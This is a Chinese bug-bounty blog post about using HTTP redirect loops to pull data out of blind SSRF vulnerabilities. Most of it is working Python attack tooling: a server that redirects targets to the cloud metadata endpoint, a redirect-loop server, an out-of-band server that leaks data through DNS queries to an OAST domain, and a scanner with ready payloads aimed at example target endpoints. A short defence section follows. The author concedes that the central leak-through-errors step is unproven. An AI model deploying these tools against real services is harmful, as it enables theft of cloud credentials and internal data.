破解盲SSRF死局、进阶之路:利用重定向循环突破无回显限制,内网信息可直接提取

📅 2026/6/30 10:18:42
破解盲SSRF死局、进阶之路:利用重定向循环突破无回显限制,内网信息可直接提取
0x01 简介SSRF 这东西挖 SRC 的人都不陌生。服务端拿了你提供的 URL 去请求结果可能直接打到内网的 Redis、MySQL、云元数据。一个 SSRF 从高危变严重往往只是一步内网探测的距离但这里有一个很尴尬的分水岭回显型 SSRF 和 盲 SSRF。回显型的你把 URL 丢进去服务器把响应内容返回给你。你能直接看到内网页面长什么样、Redis 返回了什么、元数据里有没有 IAM 密钥。盲 SSRF 就不一样了。你让服务器去请求一个 URL它确实去了但你看不到它看到了什么。你只能通过带外交互OOB来确认它访问了你的服务器。啊它确实发出请求了然后呢它看到了什么你一无所知。这就是盲 SSRF 最让人难受的地方。你知道洞里可能有东西但你不知道里面是什么。你只能盲猜盲试。打 Redis 试试没回显。打云元数据试试没回显。你只能一个个试过去然后祈祷某个 payload 能触发一个可以观测的副作用。说实话这种体验真的很憋屈。本文仅用于技术学习与合规交流严禁非法滥用。因违规使用产生的一切后果由使用者自行承担与作者无关。现在只对常读和星标的才展示大图推送建议大家把渗透安全HackTwo“设为星标”否则可能就看不到了啦末尾可领取挖洞资料/加圈子 #渗透安全HackTwo0x02 正文详情盲SSRF的痛点先说说为什么盲 SSRF 让人头疼你能做什么盲 SSRF 能确认的事情很有限。一般来说你只能做三件事第一种时间差。你让服务器请求一个慢速端点如果响应时间变长了说明它确实去请求了。第二种OOB 检测。你用 OAST 之类的带外服务让服务器访问你的域名。如果收到了 DNS 请求或 HTTP 回调说明 SSRF 确实存在。第三种端口盲扫。你让服务器请求内网的不同端口通过超时和连接拒绝的时间差异来判断端口开没开。这些方法都能用但都有一个共同的问题你只能知道它去了但看不到它看到了什么。你看不到什么回显型 SSRF 可以直接拿回响应的 body请求: GET /api/fetch?urlhttp://169.254.169.254/latest/meta-data/响应: {content: ami-id: ami-12345\ninstance-id: i-xxxxx\n...}你真真切切看到了元数据的内容。盲 SSRF 呢请求: POST /api/import?urlhttp://169.254.169.254/latest/meta-data/响应: {status: processing}没了。你知道服务器去请求了元数据端点通过 OOB 确认但你不知道它看到了什么。返回了 IAM 密钥还是 404你完全不知道。说白了就是你知道洞在哪但你看不到洞里有啥。为什么看不到盲 SSRF 之所以盲核心原因是服务端没有把请求的响应内容返还给客户端。常见场景服务器用 HTTP 请求的结果做内部处理比如导入图片、抓取网页生成摘要只返回成功/失败服务器异步处理请求请求结果被写进数据库或队列不直接返回服务器只关心响应状态码不关心响应 body服务器把响应内容传给了另一个内部系统不经过你在这些场景里你作为攻击者能控制的是让服务器去请求哪个 URL但你无法读取服务器看到了什么。现有方案的局限说白了这些方案都有用但都卡在同一个问题上。方案能干什么局限OOB 确认确认 SSRF 存在看不到响应内容端口盲扫探测内网端口状态只能知道开没开时间盲注通过延迟推断响应内容慢、不准gopher 协议构造 TCP payload需要知道目标服务的协议格式每种方案都解决不了同一个问题你拿不到响应内容。重定向循环的思路就是冲着这个问题来的——让服务器自己把内容吐出来。重定向循环的原理HTTP 重定向的基础这个大家都懂快速过一下。HTTP 重定向就是服务器告诉客户端你要的东西不在我这上别处看去。客户端收到这些状态码后会去请求 Location 头指向的新 URL。正常流程请求 A → 302 Location: B请求 B → 200 OK内容在这里正常的重定向链是有终点的。重定向循环是什么如果 B 也返回重定向但指向了 A就套住了。​​​​​​​请求 A → 302 Location: B请求 B → 302 Location: A请求 A → 302 Location: B请求 B → 302 Location: A...一直转到客户端没力气为止。大多数 HTTP 客户端有重定向次数限制一般是 20 次或 50 次。超过限制后有的抛异常有的返回最后一次的响应内容。这个特性就是这个技术的核心。把盲 SSRF 变成可见的思路假设目标服务器的 /api/import 端点会去请求你提供的 URL但它不返回响应内容。你要在自己的 VPS 上搭一个重定向服务器。​​​​​​​当你请求 http://your-server/read?pathxxx→ 返回 302 到 http://目标内网地址/xxx然后让目标去请求你的重定向服务器​​​​​​​POST /api/import{url: http://your-server/read?path/latest/meta-data/}目标服务器会先请求你的服务器你的服务器返回 302 指向云元数据目标跟随重定向去请求元数据。但问题来了——目标拿到了元数据但不会把内容返回给你。所以这不是一个让服务端跟随重定向访问内网的问题——重定向本来就能做到这一点。关键是拿到响应内容。思路就是利用重定向次数限制触发的错误信息。具体来说你让目标服务器请求你的服务器你的服务器返回一个重定向指向另一个你自己控制的 URL那个 URL 返回另一个重定向指回第一个 URL这样就形成了一个重定向循环目标服务器跟随循环直到达到重定向次数上限达到上限后不同的 HTTP 客户端会表现出不同的行为有的会抛出异常异常信息里可能包含最后一次请求的响应内容有的会返回最后一次 3xx 响应的 body如果 body 不为空的话有的会把重定向链中收集到的信息写入日志而日志可能通过别的接口暴露说白了就是你让目标服务器在一个重定向圈里来回跑跑到它没力气了被迫告诉你它看到了什么。不过说实话这个思路能不能成完全取决于目标的 HTTP 客户端实现。下面说几种可能的情况。三种具体的实现路径路径一利用错误信息回显某些 HTTP 客户端在超过重定向次数上限后会在错误信息中包含最后一次请求的 URL 或响应摘要。如果你把内网响应内容编码到重定向 URL 中就能通过错误信息读到它。实现方式是你的服务器作为中间人接收内网服务的响应内容然后把这个内容编码到下一次重定向的 URL 中再让目标服务器请求这个 URL。如果目标服务器的 HTTP 客户端在报错时输出了 URL你就读到了内网响应。​​​​​​​Round 1:Target → Attacker Server (302 → http://169.254.169.254/latest/meta-data/)Target → Metadata endpoint → 返回: ami-id: i-xxxxxRound 2:这里的关键是 attacker server 如何拿到 metadata 的响应实际上需要 target 在同一个重定向链中先访问 metadata拿到响应然后 attacker server 把响应内容编码到下一个 redirect URL 中我承认这个细节在实际操作中比较复杂。不同 HTTP 客户端的行为不一样有些场景下信息不会回显。但这个思路本身是成立的——通过重定向链来传导信息。路径二利用响应体差异某些服务端在跟随重定向时会把最终响应的某些特征状态码、内容长度、响应头反映回客户端。比如如果目标服务器在重定向循环结束后返回一个错误页面错误页面的内容长度可能取决于最后一次重定向的目标 URL如果目标服务器在重定向过程中记录了请求日志日志的内容可能通过调试接口暴露路径三利用缓存或代理如果目标服务器使用了反向代理或缓存服务重定向循环可能导致缓存条目被覆盖或特定错误被记录这些记录可能通过其他 API 读取。这个就需要结合具体场景了不是通用的。攻击复现搭建你的重定向服务器说实话这个技术最有意思的地方在于你不需要多复杂的工具——一个简单的 Python 脚本就能跑起来。最简单的重定向服务器from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse TARGET_INTERNAL http://169.254.169.254 REDIRECT_LIMIT 20 class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): parsed urllib.parse.urlparse(self.path) params urllib.parse.parse_qs(parsed.query) target_path params.get(path, [])[0] if target_path: redirect_url f{TARGET_INTERNAL}/{target_path} self.send_response(302) self.send_header(Location, redirect_url) self.end_headers() else: self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() self.wfile.write(bSSRF Redirect Server Running) if __name__ __main__: server HTTPServer((0.0.0.0, 8888), RedirectHandler) print(Redirect server running on port 8888...) server.serve_forever()这个服务器的作用很简单你请求 /read?pathlatest/meta-data/它返回 302 重定向到 http://169.254.169.254/latest/meta-data/。如果你的目标服务器会跟随重定向它就会被引导去访问云元数据端点。但这只是基础版——只做了引导还没做回显。带循环检测的重定向服务器当目标服务器跟随了重定向后它拿到了元数据响应。现在怎么让它把这个响应吐出来这里的关键是让目标服务器在重定向循环中把信息暴露出来。redirect_loop_server.pyfrom http.server import HTTPServer, BaseHTTPRequestHandler import urllib.request import urllib.parse import socket import threading import time class RedirectLoopHandler(BaseHTTPRequestHandler): redirect_count 0 max_redirects 15 def do_GET(self): parsed urllib.parse.urlparse(self.path) params urllib.parse.parse_qs(parsed.query) action params.get(action, [])[0] if action init: target params.get(target, [])[0] redirect_to fhttp://{self.server.server_address[0]}:8888/actionreflecttarget{target} self.send_response(302) self.send_header(Location, redirect_to) self.end_headers() elif action reflect: target params.get(target, [])[0] if RedirectLoopHandler.redirect_count RedirectLoopHandler.max_redirects: RedirectLoopHandler.redirect_count 1 back_url fhttp://{self.server.server_address[0]}:8888/actionloopcount{RedirectLoopHandler.redirect_count} self.send_response(302) self.send_header(Location, back_url) self.end_headers() else: self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() info fRedirect loop ended. Target: {target}\nMax redirects reached: {RedirectLoopHandler.max_redirects} self.wfile.write(info.encode()) elif action loop: count int(params.get(count, [0])[0]) if count RedirectLoopHandler.max_redirects: back_url fhttp://{self.server.server_address[0]}:8888/actionloopcount{count 1} self.send_response(302) self.send_header(Location, back_url) self.end_headers() else: self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() self.wfile.write(bLoop complete) else: self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() self.wfile.write(b SSRF Redirect Loop Server Actions: /actioninittargetinternal_url - Start a redirect chain /actionreflecttargeturl - Reflect info through loop .strip()) if __name__ __main__: server HTTPServer((0.0.0.0, 8888), RedirectLoopHandler) print(Redirect loop server running on port 8888...) server.serve_forever()在 VPS 上部署这个服务器需要部署在一个公网可达的 VPS 上因为目标服务器需要能访问到它。​​​​​​​python3 redirect_loop_server.py ufw allow 8888/tcpcurl -v http://your-vps:8888/盲测一个目标假设你发现了一个盲 SSRF 端点POST /api/fetch-url HTTP/1.1 Host: target.com {url: http://your-vps:8888/actioninittargetlatest/meta-data/}目标服务器会请求你的重定向服务器收到 302 重定向到 reflect 路径请求 reflect 路径进入重定向循环循环结束后目标服务器的行为取决于它的 HTTP 客户端实现有些目标服务器会把循环过程中的信息记录下来通过错误信息、日志或调试接口暴露。有些则不会。说白了这个技术不是通杀。它能不能用取决于目标的 HTTP 客户端实现。你先摸清楚目标用的什么库再决定要不要走这条路。不然你搭了半天 VPS目标根本不跟 302等于白忙。实战针对不同 HTTP 客户端的行为测试不同的 HTTP 库在处理重定向循环时行为不同。这里列出常见的几种# client_test.py —— 测试不同 HTTP 库对重定向循环的处理 import requests import urllib.request import http.client REDIRECT_SERVER http://your-vps:8888 # Test 1: Python requests 库 print( Python requests ) try: r requests.get(f{REDIRECT_SERVER}/actioninittargettest, timeout10) print(fStatus: {r.status_code}) print(fContent: {r.text[:200]}) except requests.exceptions.TooManyRedirects as e: print(fTooManyRedirects: {e}) except Exception as e: print(fError: {type(e).__name__}: {e}) # Test 2: urllib print(\n urllib ) try: r urllib.request.urlopen(f{REDIRECT_SERVER}/actioninittargettest, timeout10) print(fStatus: {r.status}) print(fContent: {r.read()[:200]}) except urllib.error.HTTPError as e: print(fHTTPError: {e.code} - {e.reason}) except Exception as e: print(fError: {type(e).__name__}: {e})​​​​​​​不同库的行为差异HTTP 库重定向上限超过上限后的行为Python requests30 次抛出 TooManyRedirects 异常Go net/http10 次返回最后一个响应curl 默认50 次返回最后一个响应Node.js fetch20 次抛出类型错误Java HttpURLConnection20 次抛出 ProtocolExceptionPHP file_get_contents20 次返回 false产生警告如果你能通过错误信息或其他侧信道观察到差异就能确定目标在用哪个 HTTP库从而更有针对性地构造 payload。反过来想你甚至可以通过目标在重定向循环中的行为来判断它用了什么 HTTP客户端。知道了客户端就知道了它的重定向上限和报错方式。这对后续的 payload 构造很有帮助。进阶把 OOB 和重定向结合当直接回显行不通时可以退而求其次——用 OOB 把部分信息带出来。思路是这样的你的重定向服务器不仅做重定向还记录每个请求的路径你让目标服务器在重定向链中访问不同的路径这些路径编码了你想要探测的信息你的服务器记录这些请求通过 DNS 或 HTTP 回调发送到 OAST 服务你通过 OAST 日志读取信息这本质上是一种布尔盲注 OOB 的结合。# redirect_oob_server.py —— 带 OOB 反馈的重定向服务器 from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse import urllib.request import socket import threading import time OOB_DOMAIN your.oastify.com # 替换为你的 OAST 域名 class OOBRedirectHandler(BaseHTTPRequestHandler): def send_oob_signal(self, data): 通过 DNS 查询把数据发送到 OAST 服务 try: # 把数据编码到域名中 encoded urllib.parse.quote(data, safe) # 构造 DNS 查询 query f{encoded}.{OOB_DOMAIN} socket.gethostbyname(query) except: pass def do_GET(self): parsed urllib.parse.urlparse(self.path) params urllib.parse.parse_qs(parsed.query) action params.get(action, [])[0] if action probe: # 探测盲 SSRF 是否存在 # 让目标服务器访问 OOB 域名 probe_url fhttp://{OOB_DOMAIN}/ssrf-probe self.send_response(302) self.send_header(Location, probe_url) self.end_headers() self.send_oob_signal(probe-sent) elif action exfil: # 通过 OOB 外泄信息 data params.get(data, [])[0] self.send_oob_signal(fdata:{data}) self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() self.wfile.write(bOK) elif action loop: # 重定向循环逐位探测 position int(params.get(pos, [0])[0]) char_code params.get(char, [])[0] if char_code: # 发送探测到的字符到 OOB self.send_oob_signal(fpos:{position}:char:{char_code}) # 继续循环或结束 max_pos int(params.get(max, [10])[0]) if position max_pos: next_pos position 1 back_url fhttp://{self.server.server_address[0]}:8888/actionlooppos{next_pos}max{max_pos} self.send_response(302) self.send_header(Location, back_url) self.end_headers() else: self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() self.wfile.write(bLoop complete) else: self.send_response(200) self.send_header(Content-Type, text/plain) self.end_headers() self.wfile.write(b OOB Redirect Server Actions: /actionprobe - Test if blind SSRF exists /actionexfildataX - Exfiltrate data via OOB /actionloopposXmaxY - Redirect loop with OOB feedback ) if __name__ __main__: server HTTPServer((0.0.0.0, 8888), OOBRedirectHandler) print(OOB redirect server running on port 8888...) print(fOOB domain: {OOB_DOMAIN}) server.serve_forever()使用流程​​​​​​​# 第1步确认盲 SSRF 存在# 在目标盲 SSRF 端点触发POST /api/fetch-url{url: http://your-vps:8888/actionprobe}# 如果你的 OAST 收到了 ssrf-probe 信号 → SSRF 确认# 第2步逐位探测内网服务端口通过 OOB 反馈# 让重定向服务器根据目标是否能够访问特定端口来发送不同的 OOB 信号说白了OOB 重定向 给盲 SSRF 装了一个信号灯。每次循环告诉你一个 bit 的信息。自动化检测工具把这个过程做成自动化工具可以批量扫描盲 SSRF 端点并尝试通过重定向循环获取信息。实战中遇到的盲 SSRF 端点基本都是 POST 请求而且参数位置千奇百怪——有的在 JSON body 里有的在 form-data 里有的在 query string 里还有的藏在 multipart 的某个字段中。所以工具不能只支持简单传参得让你能自定义请求格式。# ssrf_scan.py —— 盲SSRF重定向探测工具 import requests import sys import time import threading from http.server import HTTPServer, BaseHTTPRequestHandler CALLBACK_PORT 8888 # 回调服务器 class ProbeHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(bprobed) def start_callback(): s HTTPServer((0.0.0.0, CALLBACK_PORT), ProbeHandler) t threading.Thread(targets.serve_forever, daemonTrue) t.start() return s # 发送请求的通用方法 def send_req(method, url, param_inject, headers): 通用的请求发送支持 GET/POST、json/form/query 多种模式 try: if method.upper() GET: # GET 请求SSRF URL 放到 query 参数中 # 示例send_req(GET, http://target/api/fetch, urlhttp://vps:8888, {}) import urllib.parse parsed list(urllib.parse.urlparse(url)) existing_params urllib.parse.parse_qs(parsed[4]) # 把 param_inject 追加到已有参数中 inj_key, inj_val param_inject.split(, 1) existing_params[inj_key] [inj_val] parsed[4] urllib.parse.urlencode(existing_params, doseqTrue) final_url urllib.parse.urlunparse(parsed) r requests.get(final_url, headersheaders, timeout10, allow_redirectsFalse) else: # POST 请求支持 json 和 form 两种 inj_key, inj_val param_inject.split(, 1) # 如果传了 Content-Type 且包含 json → 用 json body ct headers.get(Content-Type, ) if headers else if json in ct.lower(): # 假设 body 示例{url: http://vps} r requests.post(url, json{inj_key: inj_val}, headersheaders, timeout10, allow_redirectsFalse) else: # 默认用 form-urlencoded r requests.post(url, data{inj_key: inj_val}, headersheaders, timeout10, allow_redirectsFalse) return { status: r.status_code, len: len(r.text), body: r.text[:300] } except requests.exceptions.Timeout: return {status: timeout, len: 0, body: } except Exception as e: return {status: error, len: 0, body: str(e)} # 三个探测步骤 def step_oob(url, inject, headers, oob_domain): 第1步用 OOB 确认 SSRF 是否存在 payload f{inject.split()[0]}http://{oob_domain}/ssrf-test print(f [1/3] OOB probe: {oob_domain}/ssrf-test) return send_req(POST if POST in str(url) else GET, url, payload, headers) def step_redirect(url, inject, headers, vps_ip): 第2步测试是否会跟随 302 payload f{inject.split()[0]}http://{vps_ip}:{CALLBACK_PORT}/redir print(f [2/3] 302 follow test) return send_req(POST if POST in str(url) else GET, url, payload, headers) def step_loop(url, inject, headers, vps_ip): 第3步测试重定向循环行为 payload f{inject.split()[0]}http://{vps_ip}:{CALLBACK_PORT}/loop?n0 print(f [3/3] Redirect loop test) return send_req(POST if POST in str(url) else GET, url, payload, headers) # 使用入口 def run_scan(target_url, param_name, methodPOST, content_typeform, headersNone, vps_ip127.0.0.1, oob_domainoastify.com): if headers is None: headers {} if Content-Type not in headers and content_type json: headers[Content-Type] application/json if Content-Type not in headers and content_type form: headers[Content-Type] application/x-www-form-urlencoded inject f{param_name}test print(f\nTarget: {target_url}) print(fParam: {param_name} ({method})) print(fContent-Type: {content_type}) print(- * 40) # 启动回调服务器 cb start_callback() r1 step_oob(target_url, inject, headers, oob_domain) print(f status{r1[status]} len{r1[len]}) r2 step_redirect(target_url, inject, headers, vps_ip) print(f status{r2[status]} len{r2[len]}) r3 step_loop(target_url, inject, headers, vps_ip) print(f status{r3[status]} len{r3[len]}) cb.shutdown() # 判断 print(- * 40) if r1[status] in (timeout, error): print(目标可能没发出请求或请求被拦截) elif r2[status] in (timeout, error) or r3[status] in (timeout, error): print(目标跟随了重定向可能是盲SSRF) else: print(目标没有明显重定向跟随行为)实战中的用法​​​​​​​# 场景1POST form 表单参数在 body 里 python3 -c from ssrf_scan import run_scan run_scan( target_urlhttp://target.com/api/import, param_nameurl, methodPOST, content_typeform, vps_ip你的VPS_IP, oob_domain你的.oastify.com ) # 场景2POST JSON body run_scan( target_urlhttp://target.com/api/fetch, param_nametarget_url, methodPOST, content_typejson, vps_ip你的VPS_IP, oob_domain你的.oastify.com ) # 场景3GET 请求参数在 query 中 run_scan( target_urlhttp://target.com/proxy, param_namedest, methodGET, vps_ip你的VPS_IP, oob_domain你的.oastify.com ) 如果你测的目标需要加自定义 Header比如 Authorization直接在 headers 参数里传就行 run_scan( target_urlhttp://target.com/admin/import, param_nameurl, methodPOST, content_typejson, headers{Authorization: Bearer xxxxx, X-CSRF-Token: xxxxx}, vps_ip你的VPS_IP, oob_domain你的.oastify.com )真实场景中的应用建议说几点实战中需要注意的地方。第一先确认目标的重定向行为。不是所有的盲 SSRF 都会跟随重定向。有些服务端只发一次请求不管返回什么状态码都不会再跳转。这种情况下重定向循环就没用了。先用 OOB 确认 SSRF 存在然后测试是否会跟随 302。第二重定向次数限制是双刃剑。太少的次数限制比如 5 次可能在你还没拿到足够信息之前就结束了。太多的次数限制可能让你的请求超时或触发告警。一般来说 20-50 次是比较常见的范围。第三注意不要对目标造成伤害。重定向循环意味着目标服务器会在短时间内发出大量请求。如果控制不好可能对目标造成负载压力。建议把循环次数控制在 20 次以内并且每个目标只跑一轮。一句话这个技术的核心价值不是一定能拿到回显而是在原本看不到任何信息的情况下多了一个尝试的方向。防御思路开发者层面第一限制重定向跟随。不是所有需要请求外部 URL 的功能都需要跟随重定向。如果只是下载图片设置 max_redirects0 就够了。Python requests 示例​​​​​​​r requests.get(url, allow_redirectsFalse)s requests.Session()s.max_redirects 5第二使用 URL 白名单。如果必须请求外部 URL限制协议和域名​​​​​​​ALLOWED_DOMAINS [img.example.com, cdn.example.com]ALLOWED_PROTOCOLS [http, https]def validate_url(url):parsed urllib.parse.urlparse(url)if parsed.scheme not in ALLOWED_PROTOCOLS:raise ValueError(不支持的协议)if parsed.hostname not in ALLOWED_DOMAINS:raise ValueError(不在白名单中的域名)第三不要在错误信息中暴露内部 URL。很多框架在重定向错误或连接错误中会输出完整的 URL这里面可能包含内网地址或服务路径。​​​​​​​# 不要这样except Exception as e:return f请求失败{str(e)} # 可能暴露内部 URL# 应该这样except Exception:return 请求失败 # 不暴露细节监控层面如果你需要防御这种攻击关键看两点​​​​​​​告警规则 1单个 IP 在短时间内请求了大量不同的外部 URL→ 可能是 SSRF 探测告警规则 2目标服务器的出站请求中包含了大量重定向循环→ 可能是在利用重定向循环做信息泄露说白了就是SSRF 的防御不只是拦不拦 127.0.0.1的问题——重定向行为本身也是一个攻击面。0x03 总结重定向循环不是什么新鲜东西。Web 开发者都知道重定向次数上限都知道循环会导致报错。 但在这个技术之前没人想到可以拿它来把盲 SSRF 变成可见的。 安全研究很多时候就是这样——不是发现了一个全新的东西而是把一个已知的东西用在了没人想过的地方。那些魔法级别的技术往往是啊原来还可以这样的恍然大悟。 说回实战。这篇文章不会给你一个通杀所有目标的 payload。这个技术能不能用取决于目标的 HTTP 客户端是什么。但如果你遇到盲 SSRF 不知道该怎么办现在你多了一个可以试的方向。 拿你的 VPS 跑一个重定向服务器配合 OAST用 BP 就能测。 核心就一句话盲 SSRF 看不到响应内容不代表你什么都做不了——让它跳个圈它可能就自己说出来了。喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢学习更多挖洞技巧《渗透安全HackTwo》